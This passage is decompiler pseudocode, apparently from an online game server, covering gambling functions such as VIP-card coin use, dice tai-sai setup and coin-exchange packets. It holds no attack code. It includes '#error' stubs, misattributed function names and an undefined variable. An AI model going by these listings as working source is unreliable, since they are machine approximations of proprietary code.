) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 47, 14, 10270); goto LABEL_30; } if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)(v5 + 57880) + 20))(v5 + 57880, a2) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 47, 14); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_USE_VIPCARD_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2536))(v5) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 47, 14); v20 = -1; LABEL_11: FunctionEntarance::_FunctionEntarance(&_); return; } v7 = *(_BYTE *)(len + 2); if ( v7 >= (*(int (__thiscall **)(int))(*(_DWORD *)(v5 + 35680) + 8))(v5 + 35680) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_USE_VIPCARD_REQ : wrong slot", v7); goto LABEL_14; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, int, _DWORD))(*(_DWORD *)(v5 + 57880) + 8))( v5 + 57880, 9, v7, *(_WORD *)(v5 + 143158)) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 14); v20 = -1; goto LABEL_11; } v9 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v5 + 35680))(v5 + 35680, *(_BYTE *)(len + 2)); v10 = v9; v11 = v9 + 8; v12 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v9 + 8)); v13 = v12; if ( v12 && (v14 = v12->data, v13->data) ) { v8 = v5; if ( v14->Type != 5 ) { v16 = 14; v15 = 12; goto LABEL_15; } if ( v13->data->DemandLv > (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1236))(v5) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 47, 14); v20 = -1; goto LABEL_11; } if ( (unsigned int)(*(int (__thiscall **)(_DWORD, int))(**(_DWORD **)(v10 + 112) + 24))( *(_DWORD *)(v10 + 112), v11) >= 1 ) { LABEL_14: v16 = 14; v15 = 47; v8 = v5; LABEL_15: (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v8, v15, v16); v20 = -1; goto LABEL_11; } v18 = 0; v17 = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_USE_VIPCARD_REQ : Try to use lot 0 item"; } else { v18 = 0; v17 = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_USE_VIPCARD_REQ : Try to use empty cell"; } AssertClass::ac_AssertFail(&shineassert, v17, v18); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 47, 14); v20 = -1; goto LABEL_11; } (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 47, 14, 10265); LABEL_30: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_USE_VIPCARD_REQ"); } // 5C7EE0: could not find valid save-restore pair for ebp //----- (005C81E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_TYPE_AND_WHERE_STAND_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 char *v5; // edi@1 int v6; // eax@1 int v7; // eax@3 unsigned int v8; // eax@8 ORErrorMessage *v9; // eax@10 ORErrorMessage *v10; // ebx@10 int v11; // eax@15 char v12; // al@21 int v13; // eax@22 int v14; // [sp-Ch] [bp-2Ch]@19 const char *v15; // [sp-8h] [bp-28h]@19 int v16; // [sp-4h] [bp-24h]@19 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v18; // [sp+1Ch] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_TYPE_AND_WHERE_STAND_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_TYPE_AND_WHERE_STAND_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_TYPE_AND_WHERE_STAND_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17384; *((_WORD *)v5 + 1) = 9728; v5[10] = -1; *((_WORD *)v5 + 2) = *(_WORD *)(netcmd + 2); v6 = *(_DWORD *)(v4 + 98); v18 = 0; if ( !v6 ) { *((_WORD *)v5 + 1) = 9729; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 11) ) { v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 760))(v4); LABEL_13: (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_14; } goto LABEL_7; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v4 + 57880) + 20))(v4 + 57880) == 1 ) { *((_WORD *)v5 + 1) = 9730; goto LABEL_6; } v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); if ( CGambleObjectManager::gom_FindPlayerObject(&gGambleObjectManager, v8) ) { *((_WORD *)v5 + 1) = 9736; goto LABEL_6; } v9 = (ORErrorMessage *)CGambleObjectManager::gom_GetGambleObject(&gGambleObjectManager, *(_WORD *)(netcmd + 2)); v10 = v9; if ( !v9 ) { *((_WORD *)v5 + 1) = 9732; LABEL_6: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 11) ) { v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 760))(v4); goto LABEL_13; } LABEL_7: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_TYPE_AND_WHERE_STAND_REQ : Packet Too Long", 11); LABEL_14: --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_TYPE_AND_WHERE_STAND_REQ"); return; } v11 = (int)LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber(v9); if ( !v11 ) { *((_WORD *)v5 + 1) = 9732; LABEL_19: v16 = 11; v15 = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_TYPE_AND_WHERE_STAND_REQ : Packet Too Long"; v14 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 11); goto LABEL_29; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v11) > 0xF4240 ) { *((_WORD *)v5 + 1) = 9735; goto LABEL_19; } if ( (unsigned __int8)(*(int (__thiscall **)(ORErrorMessage *, _DWORD))(v10->orem_Line + 28))( v10, *(_BYTE *)(v4 + 32192)) ) { if ( (unsigned __int8)(*(int (__thiscall **)(ORErrorMessage *))(v10->orem_Line + 16))(v10) ) { if ( (unsigned __int8)(*(int (__thiscall **)(ORErrorMessage *, char *))(v10->orem_Line + 20))(v10, v5 + 10) ) *(_DWORD *)(v5 + 6) = (*(int (__thiscall **)(ORErrorMessage *))(v10->orem_Line + 12))(v10); else *((_WORD *)v5 + 1) = 9734; } else { *((_WORD *)v5 + 1) = 9733; } v16 = 11; v15 = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_TYPE_AND_WHERE_STAND_REQ : Packet Too Long"; v14 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 11); LABEL_29: if ( !AssertClass::operator__(&shineassert, v14, v15, v16) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); goto LABEL_31; } goto LABEL_32; } *((_WORD *)v5 + 1) = 9737; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 11); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_TYPE_AND_WHERE_STAND_REQ : Packet Too Long", 11) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); LABEL_31: (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } LABEL_32: v18 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (005C8480) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Gamble_PrevMapNameSave2World(void *this) { void *v1; // esi@1 char *v2; // edi@1 ZoneBaseSession *v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShinePlayer::sp_Gamble_PrevMapNameSave2World"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShinePlayer::sp_Gamble_PrevMapNameSave2World"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17379; *((_WORD *)v2 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 832))(v1); *((_DWORD *)v2 + 1) = *(_DWORD *)((char *)v1 + 32229); *((_DWORD *)v2 + 2) = *(_DWORD *)((char *)v1 + 32233); *((_DWORD *)v2 + 3) = *(_DWORD *)((char *)v1 + 32237); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_Gamble_PrevMapNameSave2World : Packet Too Long", 16); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShinePlayer::sp_Gamble_PrevMapNameSave2World"); } //----- (005C8580) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Gamble_CoinDataSave2World(void *this) { void *v1; // esi@1 char *v2; // edi@1 ZoneBaseSession *v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShinePlayer::sp_Gamble_CoinDataSave2World"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShinePlayer::sp_Gamble_CoinDataSave2World"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 16428; *((_WORD *)v2 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 832))(v1); *((_DWORD *)v2 + 3) = *((_DWORD *)v1 + 35962); *((_DWORD *)v2 + 4) = *((_DWORD *)v1 + 35963); *((_DWORD *)v2 + 1) = *((_DWORD *)v1 + 35964); *((_DWORD *)v2 + 2) = *((_DWORD *)v1 + 35965); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 20) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_Gamble_CoinDataSave2World : Packet Too Long", 20); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShinePlayer::sp_Gamble_CoinDataSave2World"); } //----- (005C8690) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Gamble_ChangeCoin(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Gamble_ChangeCoin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Gamble_ChangeCoin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17404; *(_DWORD *)(v2 + 2) = *((_DWORD *)v1 + 35964); *(_DWORD *)(v2 + 6) = *((_DWORD *)v1 + 35965); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_Gamble_ChangeCoin : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Gamble_ChangeCoin"); } //----- (005C8780) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Gamble_ChangeExchangedCoin(void *this) { void *v1; // edi@1 char *v2; // eax@1 unsigned int v3; // ebp@1 unsigned int v4; // ebx@1 unsigned int v5; // esi@1 void *v6; // edi@5 unsigned int v7; // ecx@11 unsigned int v8; // edx@11 int v9; // eax@15 unsigned int GambleExchangeMaxCoinCnt; // [sp+10h] [bp-24h]@2 void *v11; // [sp+14h] [bp-20h]@1 char *nc; // [sp+18h] [bp-1Ch]@1 unsigned __int64 ExchangeCoin; // [sp+20h] [bp-14h]@1 v1 = this; v11 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Gamble_ChangeExchangedCoin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Gamble_ChangeExchangedCoin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; v3 = 0; *(_WORD *)gpp.pp_Buffer = -17403; v4 = 0; v5 = 0; nc = v2; ExchangeCoin = 0i64; if ( gGambleExchangeMaxCoin.m_pHead ) GambleExchangeMaxCoinCnt = gGambleExchangeMaxCoin.m_pHead->nNumOfRecord; else GambleExchangeMaxCoinCnt = 0; if ( (signed int)GambleExchangeMaxCoinCnt <= 0 ) { LABEL_11: v7 = *((_DWORD *)v1 + 35963); v8 = *((_DWORD *)v1 + 35962); if ( __PAIR__(v5, v4) > __PAIR__(v7, v8) ) ExchangeCoin = __PAIR__(v5, v4) - __PAIR__(v7, v8); *(_QWORD *)(v2 + 2) = ExchangeCoin; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) == v3 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_Gamble_ChangeExchangedCoin : Packet Too Long", 10); } else { v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v9 + 12))(v9, v1, &gpp); } } else { while ( 1 ) { v6 = CDataReader::GetRecord(&gGambleExchangeMaxCoin, v3); if ( !v6 ) break; if ( *(_BYTE *)v6 == (unsigned __int8)(*(int (**)(void))(*(_DWORD *)v11 + 1236))() ) { v4 = *(_DWORD *)((char *)v6 + 1); v5 = 0; LABEL_10: v1 = v11; v2 = nc; v3 = 0; goto LABEL_11; } ++v3; if ( (signed int)v3 >= (signed int)GambleExchangeMaxCoinCnt ) goto LABEL_10; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Gamble_ChangeExchangedCoin"); } //----- (005C8900) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_Gamble_UseCoinItem(int a1, int a2, int a3, int slot, int itm, int iteminven, int a7, int a8) { int v8; // ebx@1 int v9; // esi@1 ChargedItemEffect *v10; // eax@9 int v11; // edx@14 int v12; // ST1C_4@14 unsigned __int16 v13; // bp@14 char *v14; // edi@16 int v15; // eax@16 char v16; // al@16 ZoneBaseSession *v17; // eax@17 int v18; // eax@18 int v19; // edx@18 int v20; // edi@18 int v21; // eax@18 int v22; // eax@18 int v23; // edi@18 int v24; // ebx@18 int v25; // eax@18 int v26; // eax@18 InventoryLocking::InventoryCellLock *v27; // eax@18 ChargedItemEffectFinger finger; // [sp+2Ch] [bp-14h]@5 void *pinvcell; // [sp+30h] [bp-10h]@18 int v30; // [sp+38h] [bp-8h]@14 int v31; // [sp+3Ch] [bp-4h]@5 v8 = itm; v9 = a1; if ( !itm ) { (*(void (__stdcall **)(signed int, signed int))(*(_DWORD *)a1 + 2332))(1794, 9); return; } if ( (unsigned __int8)(*(int (__stdcall **)(_DWORD))(*(_DWORD *)a1 + 2940))(0) == 1 ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v9 + 2332))(v9, 1793, 9); return; } MoveManager::MoveManager((DiceTaiSai *)&finger); v31 = 0; ChargedItemEffectDataBox::cideb_Home( (ChargedItemEffectDataBox *)&chargedbuffdatabox, &finger); while ( ChargedItemEffectDataBox::cideb_GetItem(&chargedbuffdatabox, &finger) != *(_WORD *)(v8 + 8) ) { if ( !ChargedItemEffectDataBox::cideb_Next(&chargedbuffdatabox, &finger) ) goto LABEL_10; } v10 = ChargedItemEffectDataBox::cideb_Get(&chargedbuffdatabox, &finger); if ( !v10 ) { LABEL_10: (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v9 + 2332))(v9, 1794, 9); LABEL_11: v31 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); return; } if ( v10->EffectEnum != 36 ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v9 + 2332))(v9, 1794, 9); goto LABEL_11; } v11 = *(_DWORD *)(v9 + 35680); v12 = a2; v13 = v10->EffectValue; LOWORD(itm) = slot & 0x3FF | 0x2400; v30 = (*(int (__thiscall **)(int, int, int, int))v11)(v9 + 35680, slot, v12, a3); if ( v30 ) { v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17383; *((_WORD *)v14 + 1) = *(_WORD *)(v9 + 4); *((_DWORD *)v14 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 836))(v9); *((_DWORD *)v14 + 2) = *(_DWORD *)v8; *((_DWORD *)v14 + 3) = *(_DWORD *)(v8 + 4); *((_DWORD *)v14 + 4) = v13; *((_DWORD *)v14 + 5) = 0; v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 2004))(v9); *((_WORD *)v14 + 12) = AxialListNearGateFind::alngf_Gethandle(v15); v16 = ProtocolPacket::pp_SetPacketLen(&gpp, 26); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v16, "ShineObjectClass::ShinePlayer::NC_GAMBLE_COIN_DB_USE_COINITEM_REQ : Packet Too Long", 26) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v17); } v18 = (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 2004))(v9); v19 = *(_DWORD *)v9; v20 = v18; a8 = *(_DWORD *)v18; v21 = (*(int (__thiscall **)(int))(v19 + 2004))(v9); LOWORD(v22) = AxialListNearGateFind::alngf_Gethandle(v21); (*(void (__thiscall **)(int, int))(a8 + 104))(v20, v22); v23 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 2004))(v9); v24 = *(_DWORD *)v23; v25 = (*(int (__thiscall **)(int, void *, int *, int *))(*(_DWORD *)v9 + 2004))(v9, pinvcell, &itm, &itm); LOWORD(v26) = AxialListNearGateFind::alngf_Gethandle(v25); (*(void (__thiscall **)(int, int))(v24 + 48))(v23, v26); v27 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 2004))(v9); InventoryLocking::InventoryCellLock::icl_IncIndex(v27); } else { (*(void (__thiscall **)(int))(*(_DWORD *)v9 + 2332))(v9); } v31 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); } // 5C8900: could not find valid save-restore pair for ebp // 5C8900: could not find valid save-restore pair for edi //----- (005C8BA0) -------------------------------------------------------- #error "5C8BA0: undefined or illegal type '#593' (funcsize=55)" //----- (005C8C80) -------------------------------------------------------- #error "5C8C80: undefined or illegal type '#593' (funcsize=48)" //----- (005C8D50) -------------------------------------------------------- #error "5C8D50: undefined or illegal type '#593' (funcsize=60)" //----- (005C8E30) -------------------------------------------------------- #error "5C8E30: undefined or illegal type '#593' (funcsize=91)" //----- (005C8F80) -------------------------------------------------------- #error "5C8F80: undefined or illegal type '#593' (funcsize=91)" //----- (005C90D0) -------------------------------------------------------- #error "5C90D0: undefined or illegal type '#593' (funcsize=120)" //----- (005C9280) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GAMBLE_EXCHANGEDCOIN_INIT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ShineObjectEachList *v3; // edi@1 unsigned __int16 v4; // bp@1 ListStruct *v5; // eax@3 unsigned __int16 v6; // dx@3 int v7; // eax@3 int v8; // ecx@4 int v9; // eax@6 char *v10; // ebx@7 int v11; // eax@8 int v12; // ecx@9 ZoneBaseSession *v13; // eax@13 ListStruct *v14; // eax@15 char v15; // cl@15 int v16; // eax@15 int v17; // ecx@16 int v18; // eax@19 unsigned __int16 lt_2; // [sp+16h] [bp-16h]@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GAMBLE_ZONE_PREVMAPNAME_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GAMBLE_ZONE_PREVMAPNAME_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = shineobjmanager.som_ListContainer[2]; v4 = shineobjmanager.som_ListContainer[2]->baseclass_0.l_Array[shineobjmanager.som_ListContainer[2]->baseclass_0.l_Finger.store].ls_Next; while ( v4 < v3->baseclass_0.l_MaxSize ) { v5 = v3->baseclass_0.l_Array; v6 = v5[v4].ls_Next; v7 = (int)&v5[v4]; lt_2 = v6; if ( *(_BYTE *)(v7 + 8) ) v8 = *(_DWORD *)v7; else v8 = 0; v9 = (*(int (**)(void))(*(_DWORD *)v8 + 2004))(); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v9 + 20))(v9) == 1 ) { v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17398; if ( v4 < v3->baseclass_0.l_MaxSize && (v11 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v11 + 8)) ) v12 = *(_DWORD *)v11; else v12 = 0; *(_DWORD *)(v10 + 2) = (*(int (**)(void))(*(_DWORD *)v12 + 836))(); *(_DWORD *)(v10 + 6) = *(_DWORD *)&netcmd[1].protocol; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v13 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v13); v4 = lt_2; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::NC_GAMBLE_EXCHANGEDCOIN_DB_INFO_REQ : Packet Too Long", 10); v4 = lt_2; } } else { if ( v4 < v3->baseclass_0.l_MaxSize && (v14 = v3->baseclass_0.l_Array, v15 = v14[v4].ls_IsActiv, v16 = (int)&v14[v4], v15) ) v17 = *(_DWORD *)v16; else v17 = 0; (*(void (__stdcall **)(_DWORD, _DWORD))(*(_DWORD *)v17 + 2924))(0, 0); if ( v4 < v3->baseclass_0.l_MaxSize && (v18 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v18 + 8)) ) { (*(void (__thiscall **)(_DWORD))(**(_DWORD **)v18 + 2928))(*(_DWORD *)v18); v4 = lt_2; } else { (*(void (__thiscall **)(_DWORD))(v0 + 2928))(0); v4 = lt_2; } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GAMBLE_ZONE_PREVMAPNAME_CMD"); } //----- (005C9460) -------------------------------------------------------- void __thiscall CGambleDiceTaiSaiObject::CGambleDiceTaiSaiObject(CGambleDiceTaiSaiObject *this) { CGambleDiceTaiSaiObject *v1; // esi@1 int v2; // eax@1 signed int v3; // edx@1 v1 = this; CGambleObject::CGambleObject(&this->baseclass_0); v1->baseclass_0.vfptr = (CGambleObjectVtbl *)CGambleDiceTaiSaiObject::_vftable_; v1->G_DiceTaiSai.nGameStatus = 0; v1->G_DiceTaiSai.bIsActiveTimerCheckTime = 0; v1->G_DiceTaiSai.nTimerCheckTime = 0; *(_DWORD *)&v1->G_DiceTaiSai.History[0].nNumber[0] = 0; *(_DWORD *)&v1->G_DiceTaiSai.History[1].nNumber[1] = 0; *(_DWORD *)&v1->G_DiceTaiSai.History[2].nNumber[2] = 0; *(_DWORD *)&v1->G_DiceTaiSai.History[4].nNumber[0] = 0; *(_DWORD *)&v1->G_DiceTaiSai.History[5].nNumber[1] = 0; v1->G_DiceTaiSai.History[6].nNumber[2] = 0; v1->G_DiceTaiSai.bIsAdminDice = 0; v1->G_DiceTaiSai.CurrentRollingDice.nNumber[0] = 0; v1->G_DiceTaiSai.CurrentRollingDice.nNumber[1] = 0; v1->G_DiceTaiSai.CurrentRollingDice.nNumber[2] = 0; v2 = (int)&v1->G_DiceTaiSai.BettingInfo[0].nPlayerCnt; v3 = 52; do { *(_DWORD *)(v2 - 8) = 0; *(_DWORD *)(v2 - 4) = 0; *(_WORD *)v2 = 0; v2 += 16; --v3; } while ( v3 ); LODWORD(v1->G_DiceTaiSai.nBetSumMoney) = 0; HIDWORD(v1->G_DiceTaiSai.nBetSumMoney) = 0; } // 683428: using guessed type int (__stdcall *CGambleDiceTaiSaiObject___vftable_[2])(int pEntPlayer); //----- (005C94C0) -------------------------------------------------------- void __thiscall CGambleDiceTaiSaiObject::_CGambleDiceTaiSaiObject(CGambleDiceTaiSaiObject *this) { this->baseclass_0.vfptr = (CGambleObjectVtbl *)CGambleDiceTaiSaiObject::_vftable_; CGambleObject::_CGambleObject(&this->baseclass_0); } // 683428: using guessed type int (__stdcall *CGambleDiceTaiSaiObject___vftable_[2])(int pEntPlayer); //----- (005C94D0) -------------------------------------------------------- char __thiscall CGambleDiceTaiSaiObject::go_Init_MaxPlayer(CGambleDiceTaiSaiObject *this, char nMaxPlayer) { CGambleDiceTaiSaiObject *v2; // edi@1 char result; // al@1 void *v4; // eax@2 v2 = this; result = CGambleObject::go_Init_PlayerObject(&this->baseclass_0, (unsigned __int8)nMaxPlayer); if ( result ) { v4 = malloc(232 * (unsigned __int8)nMaxPlayer); v2->G_GamerInfo = (CGambleDiceTaiSaiObject::GambleGamerInfo *)v4; result = v4 != 0; } return result; } //----- (005C9510) -------------------------------------------------------- char __thiscall SlotMachine::SlotMachineScreen::go_Init_MaxPlayer(SlotMachine::SlotMachineScreen *this, char nMaxPlayer) { return CGambleObject::go_Init_PlayerObject(&this->baseclass_0, (unsigned __int8)nMaxPlayer) != 0; } //----- (005C9530) -------------------------------------------------------- DICE_TAISAI_GAME_STATUS __thiscall CGambleDiceTaiSaiObject::GDTSO_GetGameStatus(CGambleDiceTaiSaiObject *this) { return this->G_DiceTaiSai.nGameStatus; } //----- (005C9540) -------------------------------------------------------- unsigned __int16 __thiscall CGambleObject::go_SendGameInfo(CGambleObject *this, #593 *pPlayObj) { return 9751; } //----- (005C9550) -------------------------------------------------------- unsigned __int16 __thiscall CGambleObject::GDTSO_SendTaiSaiBettingInfo(CGambleObject *this, #593 *pPlayObj) { return 9753; } //----- (005C9560) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadEnter(int pPlayObj) { return 7304; } //----- (005C9570) -------------------------------------------------------- unsigned __int16 __thiscall CGambleObject::GDTSO_DiceTaiSai_Out(CGambleObject *this, #593 *pPlayObj) { return 9765; } //----- (005C9580) -------------------------------------------------------- unsigned __int16 __thiscall CGambleObject::GDTSO_DiceTaiSai_BroadOut(CGambleObject *this, #593 *a2, char bReserve) { return 9765; } //----- (005C9590) -------------------------------------------------------- unsigned __int16 __thiscall CGambleObject::GDTSO_DiceTaiSai_BroadBetting(CGambleObject *this, DiceTaiSaiBetting *pTaiSaiBetting, DICE_TAISAI_BETTING_TYPE nBettingType) { return 9781; } //----- (005C95A0) -------------------------------------------------------- unsigned __int16 __thiscall CGambleObject::GDTSO_DiceTaiSai_BettingCancel(CGambleObject *this, #593 *a2, DiceTaiSaiBetting *pTaiSaiBetting) { return 9795; } //----- (005C95B0) -------------------------------------------------------- unsigned __int16 __thiscall CGambleObject::GDTSO_DiceTaiSai_DiceRoll(CGambleObject *this) { return 9810; } //----- (005C95C0) -------------------------------------------------------- unsigned __int16 __thiscall CGambleObject::GDTSO_DiceTaiSai_MoneyResult_DiceRoll(CGambleObject *this, PROTO_NC_GAMBLE_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck) { return 9810; } //----- (005C95D0) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_mh_DiceTaiSai_CanAutoDiceRoll() { return 7380; } //----- (005C9600) -------------------------------------------------------- #error "5C9600: undefined or illegal type '#593' (funcsize=131)" //----- (005C97C0) -------------------------------------------------------- #error "5C97C0: undefined or illegal type 